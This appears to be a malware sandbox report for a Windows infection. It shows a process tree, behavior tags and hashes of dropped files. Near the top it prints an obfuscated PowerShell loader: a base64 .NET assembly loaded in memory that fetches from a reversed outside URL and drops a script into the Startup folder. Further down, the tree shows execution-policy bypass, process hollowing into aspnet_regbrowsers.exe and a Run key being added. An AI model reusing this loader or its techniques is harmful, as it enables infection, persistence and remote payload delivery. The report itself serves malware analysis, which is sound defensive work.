o↓:↓↓:↓Q↓:↓B↓:↓EM↓:↓bwBt↓:↓G0↓:↓ZQBu↓:↓HQ↓:↓cw↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓i↓:↓↓:↓E↓:↓↓:↓QBD↓:↓G8↓:↓bQBw↓:↓GE↓:↓bgB5↓:↓E4↓:↓YQBt↓:↓GU↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓q↓:↓↓:↓E↓:↓↓:↓QBG↓:↓Gk↓:↓b↓:↓Bl↓:↓EQ↓:↓ZQBz↓:↓GM↓:↓cgBp↓:↓H↓:↓↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓C↓:↓↓:↓B↓:↓EY↓:↓aQBs↓:↓GU↓:↓VgBl↓:↓HI↓:↓cwBp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓EQ↓:↓Eg↓:↓B↓:↓Ek↓:↓bgB0↓:↓GU↓:↓cgBu↓:↓GE↓:↓b↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓S↓:↓↓:↓S↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓EM↓:↓bwBw↓:↓Hk↓:↓cgBp↓:↓Gc↓:↓a↓:↓B0↓:↓↓:↓↓:↓↓:↓QwBv↓:↓H↓:↓↓:↓eQBy↓:↓Gk↓:↓ZwBo↓:↓HQ↓:↓I↓:↓Cp↓:↓C↓:↓↓:↓I↓:↓↓:↓y↓:↓D↓:↓↓:↓Mg↓:↓y↓:↓↓:↓↓:↓↓:↓Kg↓:↓B↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓FQ↓:↓cgBh↓:↓GQ↓:↓ZQBt↓:↓GE↓:↓cgBr↓:↓HM↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BM↓:↓BI↓:↓↓:↓QBP↓:↓HI↓:↓aQBn↓:↓Gk↓:↓bgBh↓:↓Gw↓:↓RgBp↓:↓Gw↓:↓ZQBu↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓Ig↓:↓B↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓N↓:↓↓:↓I↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BW↓:↓GU↓:↓cgBz↓:↓Gk↓:↓bwBu↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓Dg↓:↓C↓:↓↓:↓B↓:↓EE↓:↓cwBz↓:↓GU↓:↓bQBi↓:↓Gw↓:↓eQ↓:↓g↓:↓FY↓:↓ZQBy↓:↓HM↓:↓aQBv↓:↓G4↓:↓↓:↓↓:↓↓:↓x↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓DYPQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓=';$LAtEb = $LAtEb.Replace('↓:↓', 'A');[Byte[]] $Xlhdn = [System.Convert]::FromBase64String( $LAtEb );[System.AppDomain]::CurrentDomain.Load($Xlhdn).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('lmth.xedni/691.69.101.64//:ptth' , 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.js' , 'true' ) );3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\x.ps14⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\x.ps15⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵PID:4472
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵PID:2028
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:5060
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵PID:4132
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:2036
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵PID:4660
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵PID:1412
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"6⤵PID:2356
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 19842⤵
- Program crash
PID:4864
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4648 -ip 46481⤵PID:3580
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD595e508a18634757c11b032bbbc9c6b32
SHA1af3d90f89ea5832fc94c01a5143d71a6808660dc
SHA2561a2a33d1a7e35742ff724dbf1437165c850868ee9646c7627f56300e8fbec734
SHA51244105e8e3c5f4831b9459ab0299ce953114ed5b0700bb1fa5c75585eefd48a6fa74c2219b12e552542d4b780f2d742aef75d81c79cc8f7f4ed696433a51bc86a
-
Filesize
16KB
MD59e86607a9c2b6a1bf9a2764fe1f644ae
SHA1c91ef6aa4491d0b893b59fb0d7659fabca6dab87
SHA2568099fc86fa43a093c42f8ab08764b6b8d2e4aa1e3f75c1f2062c44e49dce15b3
SHA512e7654c5cc103f6dde8a7f7a5fad7c3ac7a2ff677973fe67db8b445ac50db4cb00305ab9fb95dd0dd79761a396e5601342c00ee1bda93710f6dc123c178264677
-
Filesize
12KB
MD57e22df08a1028184cf27e61e77621b81
SHA1be3f5cc2114bdbdb5ba241cf46e750b0eccd2481
SHA256ea5549784498b406e85e7aa55c9fbd5fd60f8597866d9d97aa9e2f10115ae2a4
SHA512210ed1c2f4ee78420cd77bddd881094e2b23523953cf6b6661191ca15d9f11f438094dc2e37455045da9063c38e7e937873fbd21d761e7e4c6b84e850a047e33
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
840KB
MD511ef20013d27cbb7905fa81d7230c60e
SHA123ef7669440b608bf2a08c797f564f82c2c420dd
SHA2568db0f6a31ce2818d89a15372e4a5b6a6833b3ed4ef42271c052369c8b87fab12
SHA51240a82b2bde266ace7b327a15754a5386e2acc451f10159bc754a8a9ed9cbbd4589c5cbb8e95fd1a5f9e3f4c94ecc82c59c06b9952266bebcd56203de0bf61a2a
-
Filesize
1KB
MD5dfd3748155065ee10a19e359670314c3
SHA1a0a029b227f7f93c60ac7c5dfe68870cd4884942
SHA256ff3f712a55d95a6835431f1bddf4058b20dcf721e2b9199666cc29846cbd457a
SHA512501a5500f5ab05ccafd8b278f9bf20648b2bec96c998c0059d34f76b8817bdda2280b36b58eb1128db21c87ae375357165fb135508e1b85ebc669e5af5e626f5